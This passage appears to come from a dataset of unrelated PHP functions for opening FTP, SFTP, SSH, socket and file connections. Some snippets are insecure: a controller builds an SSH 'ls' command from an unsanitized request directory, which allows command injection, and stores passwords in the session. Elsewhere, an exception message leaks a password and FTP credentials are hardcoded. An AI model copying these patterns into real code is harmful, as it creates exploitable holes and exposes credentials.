{\n\t\t\t$this->openConnection(true);\n\t\t}\n\n\t}", "function _connect(&$fp)\n\t{\n\t\tif(!empty($this->proxy_host) && !empty($this->proxy_port))\n\t\t\t{\n\t\t\t\t$this->_isproxy = true;\n\t\t\t\t\n\t\t\t\t$host = $this->proxy_host;\n\t\t\t\t$port = $this->proxy_port;\n\t\t\t}\n\t\telse\n\t\t{\n\t\t\t$host = $this->host;\n\t\t\t$port = $this->port;\n\t\t}\n\t\n\t\t$this->status = 0;\n\t\t\n\t\tif($fp = fsockopen(\n\t\t\t\t\t$host,\n\t\t\t\t\t$port,\n\t\t\t\t\t$errno,\n\t\t\t\t\t$errstr,\n\t\t\t\t\t$this->_fp_timeout\n\t\t\t\t\t))\n\t\t{\n\t\t\t// socket connection succeeded\n\n\t\t\treturn true;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// socket connection failed\n\t\t\t$this->status = $errno;\n\t\t\tswitch($errno)\n\t\t\t{\n\t\t\t\tcase -3:\n\t\t\t\t\t$this->error=\"socket creation failed (-3)\";\n\t\t\t\tcase -4:\n\t\t\t\t\t$this->error=\"dns lookup failure (-4)\";\n\t\t\t\tcase -5:\n\t\t\t\t\t$this->error=\"connection refused or timed out (-5)\";\n\t\t\t\tdefault:\n\t\t\t\t\t$this->error=\"connection failed (\".$errno.\")\";\n\t\t\t}\n\t\t\treturn false;\n\t\t}\n\t}", "function __construct($conn)\n {\n $this->connect = ftp_connect($conn);\n\n if (!$this->connect) {\n echo \"Ftp don't connect\\n\";\n }\n\n return $this->connect;\n }", "public function connect($host=NULL,$username='',$password='',$passive=NULL,$port=NULL)\n\t{\n\t\t//Initlize Params\n\t\tif (is_array($host) and $host) {\n\t\t\t$this->initialize($host);\n\t\t} elseif ($host) {\n\t\t\t$config = array(\n\t\t\t\t'host' => $host,\n\t\t\t\t'username' => $username,\n\t\t\t\t'password' => $password\n\t\t\t);\n\t\t\tis_null($passive) || $config['passive'] = $passive;\n\t\t\tis_null($port) || $config['port'] = $port;\n\t\t\t$this->initialize($config);\n\t\t} elseif (!$this->host) {\n\t\t\tshowError('FTP connect has no config, Connect been stopped.',FALSE);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t//Connect\n\t\t$this->conn = @ftp_connect($this->host,$this->port);\n\n\t\tif (!$this->conn) {\n\t\t\tshowError(\"Unable to connect to FTP server '{$this->host}'\",FALSE);\n\t\t\treturn FALSE;\n\t\t}\n\n\t\t//Login\n\t\t$login = @ftp_login($this->conn,$this->username,$this->password);\n\t\tif (!$login) {\n\t\t\tshowError(\"Unable to login to FTP server\");\n\t\t\treturn FALSE;\n\t\t}\n\n\t\tif ($this->passive) {\n\t\t\tftp_pasv($this->conn,TRUE);\n\t\t}\n\n\t\treturn TRUE;\n\t}", "protected function checkFtpAccess() {\n global $_ARRAYLANG;\n\n // Only check FTP access if SystemInfo has been licensed.\n // SystemInfo is a component that allows access to the webserver.\n // SystemInfo should only be licensed if the website is run on a self-hosted environment\n if (!in_array('SystemInfo', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n return;\n }\n\n // if ftp access is not activated or not possible to connect (not correct credentials)\n if(!\\Cx\\Lib\\FileSystem\\FileSystem::init()) {\n \\Message::add(sprintf($_ARRAYLANG['TXT_SETTING_FTP_CONFIG_WARNING'], \\Env::get('cx')->getWebsiteDocumentRootPath() . '/config/configuration.php'), \\Message::CLASS_ERROR);\n }\n }", "public function open() {\n\t\t$this->handler = @fopen( $this->stream->getName(), $this->mode );\n\t\tif ( $this->handler === false ) {\n\t\t\t$err = error_get_last();\n\t\t\tthrow new Exception( sprintf( 'Could not open file \"%s\" for writing (mode: \"%s\"). Error (%d): %s', $this->stream->getName(), $this->mode, $err['type'], $err['message'] ) );\n\t\t}\n\t}", "protected function _deleteFtpFiles()\n {\n if (is_callable('ftp_connect')) {\n $ftpServer = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_SERVER);\n $ftpUserName = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_USER);\n $ftpPass = Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PASSWORD);\n $ftpPath = trim(Mage::getStoreConfig(self::XML_PATH_SETTINGS_FTP_PATH), '/');\n if ($ftpPath) {\n $ftpPath = $ftpPath.'/';\n }\n\n try {\n $connId = ftp_connect($ftpServer);\n\n $loginResult = ftp_login($connId, $ftpUserName, $ftpPass);\n if (!$loginResult) {\n return false;\n }\n ftp_pasv($connId, true);\n\n $ftpDir = $ftpPath?$ftpPath:'.';\n $nlist = ftp_nlist($connId, $ftpDir);\n if ($nlist === false) {\n return false;\n }\n foreach ($nlist as $file) {\n if (!preg_match('/\\.[xX][mM][lL]$/', $file)) {\n ftp_delete($connId, $file);\n }\n }\n\n ftp_close($connId);\n } catch (Exception $e) {\n Mage::log($e->getMessage());\n return false;\n }\n return true;\n } else {\n return false;\n }\n }", "static function &creer_ftp(&$liste_option, $user, $passwd, $port = '21', $timeout = 10, $sort_en_erreur = false, $entete = __CLASS__) {\n\t\t$objet = new ftp ( $user, $passwd, $sort_en_erreur, $port, $timeout, $entete );\n\t\t$objet->_initialise ( array (\n\t\t\t\t\"options\" => $liste_option \n\t\t) );\n\t\t\n\t\treturn $objet;\n\t}", "private function openConnection(){\n if($_SERVER[\"DOCUMENT_ROOT\"]==\"\")\n require \"../utility/connection.php\";\n else\n require $_SERVER[\"DOCUMENT_ROOT\"] . \"/mythos_pr/src/utility/connection.php\";\n\n $this->connessione=$connessione;\n\t\t}", "public function getConnection()\r\n\t{\r\n\t\tif($this->socket && is_resource($this->socket) && !feof($this->socket))\r\n\t\treturn $this->socket;\r\n\r\n\t\tforeach($this->trackers as $host)\r\n\t\t{\r\n\t\t\t$parts = parse_url($host);\r\n\t\t\tif(!isset($parts['port']))\r\n\t\t\t$parts['port'] = MogileFS::DEFAULT_PORT;\r\n\r\n\t\t\t$errno = null;\r\n\t\t\t$errstr = null;\r\n\t\t\t$this->socket = fsockopen($parts['host'], $parts['port'], $errno, $errstr, $this->requestTimeout);\r\n\t\t\tif($this->socket)\r\n\t\t\tbreak;\r\n\t\t}\r\n\r\n\t\tif(!is_resource($this->socket) || feof($this->socket))\r\n\t\tthrow new Exception(get_class($this) . \"::doConnection failed to obtain connection\");\r\n\t\telse\r\n\t\treturn $this->socket;\r\n\t}", "public function createFromFTP ($path) {\n\n // Attempt to open this using URL wrappers and the createFromFile\n // function.\n return $this->createFromFile($path);\n\n }", "protected function _open() {\r\n $mode = $this->option_create ? 'a+' : 'r+';\r\n // r+ : Open for reading and writing; place the file pointer at the beginning of the file.\r\n // a+ : Open for reading and writing; place the file pointer at the end of the file. If the file does not exist, attempt to create it.\r\n $file = $this->file;\r\n $mask = 0666 & ~$this->option_perms;\r\n $old_mask = umask($mask);\r\n $result = fopen($this->file, $mode);\r\n umask($old_mask);\r\n if (!$result) {\r\n throw new Exception(\"fopen(\\\"$file\\\", \\\"$mode\\\") failed.\");\r\n }\r\n return $result;\r\n }", "abstract public function open();", "public function open();", "public function open();", "protected function open()\n {\n if ($this->_channel) return;\n $this->_connection = new AMQPStreamConnection($this->host, $this->port, $this->user, $this->password);\n $this->_channel = $this->_connection->channel();\n $this->_channel->queue_declare($this->queueName);\n $this->_channel->exchange_declare($this->exchangeName, $this->exchangeType, false, true, false);\n $this->_channel->queue_bind($this->queueName, $this->exchangeName);\n }", "function disconnect()\n\t{\n\t\tif (is_resource($this->connection))\n\t\treturn @ftp_close($this->connection);\n\t\telse\n\t\treturn true;\n\t}", "public function checkConnection() : bool\n {\n if (is_null($this->FTPHandle)) throw new \\Exception(\"No FTP connection\");\n return true;\n }", "public function open(Connection $connection);", "function login($username = null, $password = null) {\r\n\t\tif ( $this->_handle === null ) {\r\n\t\t\t$res = $this->connect();\r\n\t\t}\r\n\t\tif ( $username !== null ) {\r\n\t\t\t$this->setUsername($username);\r\n\t\t}\r\n\t\tif ( $password !== null ) {\r\n\t\t\t$this->setPassword($password);\r\n\t\t}\r\n\t\t\r\n\t\t$res = @ftp_login($this->_handle, $this->getUsername(), $this->getPassword());\r\n\t\t\r\n\t\tif ( !$res ) {\r\n\t\t\tthrow new ftpLoginException($this->getUsername(), $this->getPassword());\r\n\t\t} else {\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "public function open() {\n $this->callMethod( 'open' );\n }", "function sendRequest(){\n $this->fpopened = $this->fopen($this->urltoopen);\n if ($this->fpopened!==false) return true;\n return false;\n }", "protected function connect()\n {\n $url = $this->createUrl(\"\");\n // create curl resource\n $this->connection = curl_init();\n\n // set url\n curl_setopt($this->connection, CURLOPT_URL, $url);\n\n //return the transfer as a string\n curl_setopt($this->connection, CURLOPT_RETURNTRANSFER, 1);\n\n }", "function disconnect() {\r\n\t\tif ( is_resource($this->_handle) ) {\r\n\t\t\t$res = @ftp_close($this->_handle);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpDisconnectException();\r\n\t\t\t}\r\n\t\t\t$this->_handle = null;\r\n\t\t}\r\n\t\treturn true;\r\n\t}", "public function open($mode);", "public function login()\n {\n $logged_in = ftp_login($this->getConnection(), $this->getUsername(), $this->getPassword());\n\n if ($logged_in === true) {\n } else {\n throw new \\RuntimeException\n ('Filesystem Adapter Ftp: Unable to login with Password: ' . $this->getPassword()\n . ' Password: ' . $this->getPassword());\n }\n\n return true;\n }", "function _open() {\n $stream = fopen($this->baseFilename, $this->mode);\n return $stream;\n }", "public function open() {\r\n\t\tif (!$this->opened) {\r\n\t\t\tif ($this->isZipped) $this->file = new ZipFile($this->archiveName, $this->mode);\r\n\t\t\telse {\r\n\t\t\t\t// test compression\r\n\t\t\t\t$this->file = new File($this->archiveName, $this->mode);\r\n\t\t\t\tif ($this->file->read(2) == \"\\37\\213\") {\r\n\t\t\t\t\t$this->file->close();\r\n\t\t\t\t\t$this->isZipped = true;\r\n\t\t\t\t\t$this->file = new ZipFile($this->archiveName, $this->mode);\r\n\t\t\t\t}\r\n\t\t\t\telse {\r\n\t\t\t\t\t$this->file->seek(0);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t$this->opened = true;\r\n\t\t}\r\n\t}", "public function open() {\n $this->fileHandle = fopen($this->fileName, 'rb');\n }", "public function openFile() {\n $this->file = fopen($this->_dir . $this->_filename,\"r\");\n }", "public function __destruct() {\n\n\t\tif ( $this->link ) {\n\n\t\t\t// errors suppressed here as they are not useful\n\t\t\t@ftp_close( $this->link );\n\t\t}\n\n\t\t// give error handling back to PHP\n\t\trestore_error_handler();\n\t}", "function connect()\n\t{\n\t\t\n\t\t$this->sock = @fsockopen($this->host,$this->port,&$this->errno,&$this->errstr,30);\n\t\t@set_socket_blocking($this->sock,false);\n\t\treturn $this->sock;\n\t}", "function ftp($host, $username, $password, $root_path, $port = 21, $timeout = 10)\n\t{\n\t\t$this->host\t\t\t= $host;\n\t\t$this->port\t\t\t= $port;\n\t\t$this->username\t\t= $username;\n\t\t$this->password\t\t= $password;\n\t\t$this->timeout\t\t= $timeout;\n\n\t\t// Make sure $this->root_path is layed out the same way as the $user->page['root_script_path'] value (/ at the end)\n\t\t$this->root_path\t= str_replace('\\\\', '/', $this->root_path);\n\n\t\tif (!empty($root_path))\n\t\t{\n\t\t\t$this->root_path = (($root_path[0] != '/' ) ? '/' : '') . $root_path . ((substr($root_path, -1, 1) == '/') ? '' : '/');\n\t\t}\n\n\t\t// Init some needed values\n\t\ttransfer::transfer();\n\n\t\treturn;\n\t}", "public function create(CreateConnectionRequest $request)\n {\n $data = $request->all();\n $dir = $request->dir;\n\n Session::put('host', $data['host']);\n Session::put('username', $data['username']);\n Session::put('password', $data['password']);\n Session::put('port', $data['port']);\n Session::put('protocol', $data['type']);\n Session::put('sitename', $data['username']);\n Session::put('account', 'root');\n Session::put('localpath', '/root/resources/backup_data');\n Session::put('remotepath', '/root/resources/backup_data');\n\n\n $conn = new Connections();\n $folders = array();\n\n if ($data['type'] == 'ftp') {\n\n try {\n\n $connection = $conn->validate_connection($data['type'], $data['host'], $data['username'], $data['password'], $data['port']);\n\n\n if ($connection === false) {\n\n return (['status' => 'error', 'message' => 'Login failed']);\n } else {\n\n if (!empty($dir)) {\n\n $list = ftp_rawlist($connection, $request->dir);\n $pwd = ftp_pwd($connection);\n $pwd = trim($pwd) . trim($request->dir);\n\n\n foreach ($list as $key => $folder) {\n $info = array();\n $current = preg_split(\"/[\\s]+/\", $folder, 9, PREG_SPLIT_NO_EMPTY);\n $info['perms'] = $current[0];\n $info['name'] = str_replace('//', '', $current[8]);\n// print_r($current);\n\n sort($list);\n if ($info['name'] != '.' && $info['name'] != '..') {\n if ($this->get_type($info['perms']) == \"folder\") {\n $folders[$info['name']]['filename'] = $info['name'];\n $folders[$info['name']]['type'] = 2;\n } else {\n $files[$info['name']]['filename'] = $info['name'];\n $files[$info['name']]['type'] = 1;\n }\n }\n }\n\n if (isset($folders)) {\n uasort($folders, array($this, 'cmp'));\n } else {\n $folders = array();\n }\n\n if (isset($files)) {\n uasort($files, array($this, 'cmp'));\n } else {\n $files = array();\n }\n\n $result = $folders + $files;\n// print_r($result);exit;\n $list = json_encode($result);\n\n\n return (['status' => 'success', 'type' => 'ftp', 'list' => $list, 'pwd' => $pwd]);\n } else {\n $data['username'] = Crypt::encrypt($data['username']);\n $data['password'] = Crypt::encrypt($data['password']);\n $pwd = ftp_pwd($connection);\n\n Connections::create($data);\n $list = ftp_rawlist($connection, \".\");\n sort($list);\n foreach ($list as $key => $folder) {\n $info = array();\n $current = preg_split(\"/[\\s]+/\", $folder, 9, PREG_SPLIT_NO_EMPTY);\n $info['perms'] = $current[0];\n $info['name'] = str_replace('//', '', $current[8]);\n\n if ($info['name'] != '.' && $info['name'] != '..') {\n if ($this->get_type($info['perms']) == \"folder\") {\n $folders[$key]['filename'] = $info['name'];\n $folders[$key]['type'] = 2;\n } else {\n $files[$key]['filename'] = $info['name'];\n $files[$key]['type'] = 1;\n }\n }\n }\n\n\n if (isset($folders)) {\n uasort($folders, array($this, 'cmp'));\n } else {\n $folders = array();\n }\n\n if (isset($files)) {\n uasort($files, array($this, 'cmp'));\n } else {\n $files = array();\n }\n $result = $folders + $files;\n $list = json_encode($result);\n\n return (['status' => 'success', 'type' => 'ftp', 'list' => $list, 'pwd' => $pwd]);\n }\n\n\n }\n } catch (Exception $e) {\n\n return (['status' => 'error', 'message' => $e->getMessage()]);\n }\n } else if ($data['type'] == 'sftp') {\n\n $connection = $conn->validate_connection($data['type'], $data['host'], $data['username'], $data['password'], $data['port']);\n\n if ($connection === false) {\n\n return (['status' => 'error', 'message' => 'Login failed']);\n } else {\n if (!empty($dir)) {\n\n $result = $connection->rawlist($request->dir);\n\n $pwd = $connection->exec('pwd');\n $pwd = trim($pwd) . '/' . trim($request->dir);\n $pwd = trim(str_replace('stdin: is not a tty', '', $pwd));\n\n\n foreach ($result as $key => $value) {\n if ($value['type'] == 2) {\n $array1[$key]['filename'] = $value['filename'];\n $array1[$key]['type'] = 2;\n }\n if ($value['type'] == 1) {\n $array2[$key]['filename'] = $value['filename'];\n $array2[$key]['type'] = 1;\n }\n }\n if (isset($array1)) {\n uasort($array1, array($this, 'cmp'));\n } else {\n $array1 = array();\n }\n if (isset($array2)) {\n uasort($array2, array($this, 'cmp'));\n } else {\n $array2 = array();\n }\n $result = $array1 + $array2;\n $list = json_encode($result);\n\n } else {\n $data['username'] = Crypt::encrypt($data['username']);\n $data['password'] = Crypt::encrypt($data['password']);\n\n Connections::create($data);\n $result = $connection->rawlist();\n $pwd = $connection->exec('pwd');\n $pwd = trim(str_replace('stdin: is not a tty', '', $pwd));\n\n foreach ($result as $key => $value) {\n if ($value['type'] == 2) {\n $array1[$key]['filename'] = $value['filename'];\n $array1[$key]['type'] = 2;\n }\n if ($value['type'] == 1) {\n $array2[$key]['filename'] = $value['filename'];\n $array2[$key]['type'] = 1;\n }\n }\n\n if (isset($array1)) {\n uasort($array1, array($this, 'cmp'));\n } else {\n $array1 = array();\n }\n if (isset($array2)) {\n uasort($array2, array($this, 'cmp'));\n } else {\n $array2 = array();\n }\n $result = $array1 + $array2;\n $list = json_encode($result);\n\n }\n\n return (['status' => 'success', 'list' => $list, 'pwd' => $pwd]);\n }\n } else if ($data['type'] == 'ssh') {\n\n $connection = $conn->validate_connection($data['type'], $data['host'], $data['username'], $data['password'], $data['port']);\n\n if ($connection === false) {\n\n return (['status' => 'error', 'message' => 'Login failed']);\n } else {\n if (!empty($dir)) {\n\n\n $path_folders = 'ls ' . trim($dir) . ' -F | grep /';\n $path_files = 'ls ' . trim($dir) . ' -F | grep -v /';\n $list = $connection->exec($path_folders);\n $list2 = $connection->exec($path_files);\n $pwd = $connection->exec('pwd');\n $pwd = trim(str_replace('stdin: is not a tty', '', $pwd));\n $pwd = trim($pwd) . '/' . trim($request->dir);\n\n $list = str_replace(\"stdin: is not a tty\", \"\", $list);\n $list2 = str_replace(\"stdin: is not a tty\", \"\", $list2);\n\n $list = preg_split('/\\s+/', trim($list));\n $list2 = preg_split('/\\s+/', trim($list2));\n\n $inc = 0;\n foreach ($list as $key => $dirs) {\n $dirs = explode('/', $dirs);\n if (!empty(trim(trim($dirs[0])))) {\n\n $array[$dirs[0]]['filename'] = trim($dirs[0]);\n $array[$dirs[0]]['type'] = 2;\n $inc = $inc + 1;\n }\n }\n if (isset($array)) {\n uasort($array, array($this, 'cmp'));\n } else {\n $array = array();\n }\n\n\n foreach ($list2 as $key => $dirs) {\n if (!empty(trim($dirs))) {\n\n $array2[$dirs]['filename'] = trim($dirs);\n $array2[$dirs]['type'] = 1;\n $inc = $inc + 1;\n }\n }\n if (isset($array2)) {\n uasort($array2, array($this, 'cmp'));\n } else {\n $array2 = array();\n }\n\n if (empty($array)) {\n $result = $array2;\n } else if (empty($array2)) {\n $result = $array;\n } else {\n $result = $array + $array2;\n }\n\n\n $list = json_encode($result);\n\n return (['status' => 'success', 'list' => $list, 'pwd' => $pwd]);\n } else {\n $data['username'] = Crypt::encrypt($data['username']);\n $data['password'] = Crypt::encrypt($data['password']);\n\n Connections::create($data);\n $list = $connection->exec('ls -F | grep /');\n $list2 = $connection->exec('ls -F | grep -v /');\n $var = 0;\n $pwd = $connection->exec('pwd');\n $pwd = trim(str_replace('stdin: is not a tty', '', $pwd));\n if (strpos($list, 'Shell access is not enabled') !== false) {\n\n return (['status' => 'error', 'message' => $list]);\n } else {\n\n $list = explode('/', $list);\n $list[0] = trim(str_replace('stdin: is not a tty', '', $list[0]));\n\n unset($list[count($list) - 1]);\n\n foreach ($list as $key => $dir) {\n if (!empty(trim($dir))) {\n $array[$var]['filename'] = trim($dir);\n $array[$var]['type'] = 2;\n $var = $var + 1;\n }\n }\n if (isset($array)) {\n uasort($array, array($this, 'cmp'));\n } else {\n $array = array();\n }\n\n\n $output = str_replace(\"stdin: is not a tty\", \"\", $list2);\n\n $output = preg_split('/\\s+/', trim($output));\n $output = array_filter($output, function ($e) {\n if (stripos($e, \"@\") === false)\n return true;\n else\n return false;\n });\n\n foreach ($output as $key => $dir) {\n if (!empty(trim($dir))) {\n\n $array2[$var]['filename'] = trim($dir);\n $array2[$var]['type'] = 1;\n $var = $var + 1;\n }\n }\n if (isset($array2)) {\n uasort($array2, array($this, 'cmp'));\n } else {\n $array2 = array();\n }\n if (empty($array)) {\n $result = $array2;\n } else if (empty($array2)) {\n $result = $array;\n } else {\n $result = $array + $array2;\n }\n\n\n $list = json_encode($result);\n\n\n return (['status' => 'success', 'list' => $list, 'pwd' => $pwd]);\n }\n }\n }\n }\n }", "public function connectUrl($url)\n {\n if(!preg_match('!^ftp(?<ssl>s?)://(?<user>[^:]+):(?<pass>[^@]+)@(?<host>[^:/]+)(?:[:](?<port>\\d+))?(?<path>.*)$!i', $url, $match)) {\n throw new FtpException('Url must be in format: ftp[s]://username:password@hostname[:port]/[path]');\n }\n\n // default port if necessary\n if (empty($match['port'])) {\n $match['port'] = '21';\n }\n\n // determine and invoke connect method\n $connectMethod = (bool) $match['ssl'] ? 'ssl_connect' : 'connect';\n $this->$connectMethod($match['host'], $match['port']);\n\n // authenticate\n if (!$this->login($match['user'], $match['pass'])) {\n throw new FtpException(\"Login failed as \" . $match['user']);\n }\n\n // normalize and change to path, if one given\n $match['path'] = trim($match['path'], '/');\n if (!empty($match['path'])) {\n $this->chdir(\"/$match[path]/\");\n }\n }", "public static function shutdown() {\n $c= new FtpConnection('ftp://test:test@'.self::$bindAddress);\n $c->connect();\n $c->sendCommand('SHUTDOWN');\n $c->close();\n }", "public function isFile()\n {\n $this->is_file = false;\n\n try {\n\n if (@ftp_get($this->getConnection(), $this->temp, $this->path, Ftp_ASCII, 0)) {\n $this->is_file = true;\n }\n\n } catch (\\Exception $e) {\n }\n\n return;\n }", "public function fopen()\n {\n $this->handle = fopen($this->fileName, 'r');\n //$this->handle = fopen($fileName, 'a+');\n\n if ($this->handle === false)\n {\n // TODO : Throw exception\n }\n }", "function setPassive() {\r\n\t\t$this->getOptionsSet()->setOptions(array(self::OPTION_TRANSFER_METHOD => self::TRANSFER_METHOD_PASSIVE));\r\n\t\t@ftp_pasv($this->_handle, true);\r\n\t\treturn $this;\r\n\t}", "public function upload() {\n // FYI. We are on master now.\n $m_ftp = new \\Model_Ftp();\n $m_ftp->user_id = $this->user_id;\n $branch = $this->branch;\n // Get ftp data for the respective branch\n $ftp_data = $m_ftp->get($branch['ftp_id']);\n\n if (count($ftp_data) !== 1) {\n $this->log('Failed: Enviornment does not have a Linked FTP account.');\n throw new Exception(\"No Linked FTP for enviornment.\");\n } else {\n $ftp_data = $ftp_data[0];\n }\n\n // Testing if the FTP server works.\n try {\n $ftp_data['user'] = $ftp_data['username'];\n $ftp_url = http_build_url($ftp_data);\n// $ftp_test = utils::test_ftp($ftp_url);\n $ftp_test = new \\Banago\\Bridge\\Bridge($ftp_url);\n if ($ftp_test) {\n $this->log('ftp_connect', 'connected');\n }\n } catch (Exception $e) {\n $this->log('ftp_connect', 'connection failed: ' . $e->getMessage());\n throw new Exception('We are sending msg here.' . $e->getMessage());\n }\n\n // LOG --------------------------------\n $this->log('deploy_branch', $branch['branch_name']);\n $this->log('deploy_branch_env', $branch['name']);\n $this->output('Deploy to branch name: ' . $branch['branch_name']);\n // LOG END ----------------------------\n\n /*\n * Data is ready, need to get ready with repository state.\n * Has to be checked out to the branch specified\n * and has to be checked out to the commit specified.\n */\n\n /*\n * pull and clone done,\n * checkout to branch now.\n */\n\n $this->output('Checkout to ' . $branch['branch_name']);\n \\Utils::gitCommand(\"checkout \" . $this->branch['branch_name']);\n $this->log('revision_on_server_before', $branch['revision']);\n $this->output('Revision on FTP: ' . $branch['revision']);\n\n // Setting options for gitcore\n $options = array(\n 'record_id' => $this->record_id,\n 'repo' => $this->repo_dir,\n 'debug' => $this->debug,\n 'deploy_id' => $this->deploy_id,\n 'server' => 'default',\n 'ftp' => array(\n 'default' => array(\n 'scheme' => $ftp_data['scheme'],\n 'host' => $ftp_data['host'],\n 'user' => $ftp_data['username'],\n 'pass' => $ftp_data['pass'],\n 'port' => $ftp_data['port'],\n 'path' => $ftp_data['path'],\n 'passive' => TRUE,\n 'skip' => unserialize($this->branch['skip_path']),\n 'purge' => unserialize($this->branch['purge_path']),\n )\n ),\n 'remoteRevision' => $branch['revision'],\n );\n\n // if type_rollback.\n if ($this->record['record_type'] == $this->m_record->type_rollback && !empty($this->record['hash'])) {\n // checkout the the specific hash.\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // if type_sync\n if ($this->record['record_type'] == $this->m_record->type_sync) {\n // upload all files please.\n $options['remoteRevision'] = '';\n }\n\n if ($this->record['record_type'] == $this->m_record->type_service_push) {\n // push from github/bitbucket.\n if (!empty($this->record['hash']))\n \\Utils::gitCommand('checkout ' . $this->record['hash']);\n }\n\n // else its update\n\n $localRevision = \\Utils::gitCommand('rev-parse HEAD');\n if (isset($localRevision[0])) {\n $localRevision = trim($localRevision[0]);\n $options['localRevision'] = $localRevision;\n }\n\n if ($options['localRevision'] == $options['remoteRevision']) {\n $this->output('FTP server has the latest changes!');\n $this->log('FTP server has the latest changes!');\n }\n\n $this->output($localRevision);\n\n $gitcore = new \\Gitcore($options);\n try {\n // todo: we're inside.\n $gitcore->startDeploy();\n } catch (Exception $e) {\n // Store logs from GITCORE.\n $this->log('deploy_log', $gitcore->log);\n $this->output($this->log);\n throw new \\Exception($e->getMessage());\n }\n\n // Store Logs from GITCORE.\n $this->log['deploy_log'] = $gitcore->log;\n $this->output($this->log);\n\n $before_revision = $this->log['deploy_log']['remoteRevision_before'];\n $current_revision = $this->log['deploy_log']['remoteRevision_after'];\n\n // Storing output from GITCORE.\n $this->m_record->set($this->record_id, array(\n 'raw' => serialize($this->log),\n 'amount_deployed' => $this->log['deploy_log']['deployed']['human'],\n 'amount_deployed_raw' => $this->log['deploy_log']['deployed']['data'],\n 'file_add' => $this->log['deploy_log']['files']['upload'],\n 'file_remove' => $this->log['deploy_log']['files']['delete'],\n 'file_skip' => $this->log['deploy_log']['files']['skip'],\n 'hash' => $current_revision,\n 'hash_before' => $before_revision,\n ));\n\n // OK,\n // Update branch to ready,\n // Update branch revision.\n $this->m_branches->set($branch['id'], array(\n 'ready' => 1,\n 'revision' => $current_revision\n ));\n\n // OK, checkout to master.\n \\Utils::gitCommand('checkout master');\n }", "function FtpUpload($dest_file, $src_file){\n\n $server='localhost'; // ftp server\n $connection = ftp_connect($server); // connection\n\n // login to ftp server\n $user = \"linkrx7\";\n $pass = \"rotary\";\n $result = ftp_login($connection, $user, $pass);\n// check connection\nif ((!$connection) || (!$result)) { \n echo \"FTP connection has failed!\";\n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n}\n// upload the file\n$upload = ftp_put($connection, $dest_file, $src_file, FTP_BINARY); \n\n// check upload status\nif (!$upload) { \n echo \"FTP upload has failed!\";\n }\n// close the FTP stream \nftp_close($connection);\n}", "protected function connect(){\n $host = ($this->secure == 'ssl') ? 'ssl://' . $this->host : $this->host;\n $this->smtp = fsockopen($host, $this->port);\n //set block mode\n // stream_set_blocking($this->smtp, 1);\n if (!$this->smtp){\n return false;\n }\n if ($this->getCode() != 220){\n return false;\n }\n return true;\n }", "protected function createFtpDriver()\n {\n return new Ftp($this->app, $this->app['orchestra.publisher.ftp']);\n }", "public function eftipi(){\n $ftp_server = \"ftp.**.com\"; \n $conn_id = ftp_ssl_connect($ftp_server); \n\n // login with username and password \n $ftp_user_name = \"**\"; \n $ftp_user_pass = \"**\"; \n $login_result = ftp_login($conn_id, $ftp_user_name, $ftp_user_pass); \n ftp_pasv($conn_id, true); \n // check connection \n if ((!$conn_id) || (!$login_result)) { \n echo \"FTP connection has failed!\"; \n echo \"Attempted to connect to $ftp_server for user $ftp_user_name\"; \n exit; \n } else { \n echo \"Connected to $ftp_server, for user $ftp_user_name\"; \n } \n\n if (ftp_chdir($conn_id, \"**mx/inventario\")) {\n echo \"\\nCurrent directory is now: \" . ftp_pwd($conn_id) . \"\\n\";\n if (ftp_get($conn_id, 'ideac '.date('d-m-y').'.csv', 'inventario.csv', FTP_BINARY)) {\n echo \"Se ha guardado satisfactoriamente en 'ideac \".date('d-m-y').\".csv'\\n\";\n rename($_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/ideac '.date('d-m-y').'.csv', $_SERVER['DOCUMENT_ROOT'].'/TheBlueShip/inventory/Jul/ideac '.date('d-m-y').'.csv');\n } else {\n echo \"Ha habido un problema\\n\";\n }\n } else { \n echo \"Couldn't change directory\\n\";\n }\n\n $buff = ftp_rawlist($conn_id, '.'); \n //var_dump($buff); \n ftp_close($conn_id); \n }", "public function open(): bool;", "public function setFtp(Ftp $ftp)\n {\n $this->ftp = $ftp;\n }", "function fget($fp, $remotefile, $mode = 1)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_fget($this->_socket, $fp, $remotefile, $mode);\r\n \t} else {\r\n \tif ($mode) {\r\n \t\t$type = \"I\";\r\n \t} else {\r\n \t\t$type = \"A\";\r\n \t}\r\n \t\r\n \tif (!$this->file_exists($remotefile)) {\r\n \t\t$this->debug(\"Error : No such file or directory \\\"\".$remotefile.\"\\\"\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t\r\n \t$this->putcmd(\"PASV\");\r\n \t$string = $this->getresp();\r\n \t\r\n \t$this->putcmd(\"TYPE\", $type);\r\n \t$this->getresp();\r\n \t\r\n \t$this->putcmd(\"RETR\", $remotefile);\r\n \t\r\n \t$sock_data = $this->open_data_connection($string);\r\n \tif (!$sock_data) {\r\n \t\treturn FALSE;\r\n \t}\r\n \tif ($this->ok()) {\r\n \t\t$this->debug(\"Connected to remote host\\n\");\r\n \t} else {\r\n \t\t$this->debug(\"Cannot connect to remote host\\n\");\r\n \t\t$this->debug(\"Error : GET failed\\n\");\r\n \t\treturn FALSE;\r\n \t}\r\n \t$this->debug(\"Retrieving remote file \\\"\".$remotefile.\"\\\" to local file ...\\n\");\r\n \twhile (!feof($sock_data)) {\r\n \t\tfputs($fp, fread($sock_data, 4096));\r\n \t}\r\n \t\r\n \t$this->close_data_connection($sock_data);\r\n \t}\r\n \treturn $this->ok();\r\n }", "function wpse_74180_upload_to_ftp( $args ) {\n\t$upload_dir = wp_upload_dir();\n\t$upload_url = get_option('upload_url_path');\n\t$upload_yrm = get_option('uploads_use_yearmonth_folders');\n\t/**\n\t * Change this to match your server\n\t * You only need to change the those with (*)\n\t * If marked with (-) its optional \n\t */\n\t$settings = array(\n\t\t'host'\t =>\t'ip or hostname ftp/hosting', \t\t\t// * the ftp-server hostname\n\t\t'port' => 21, 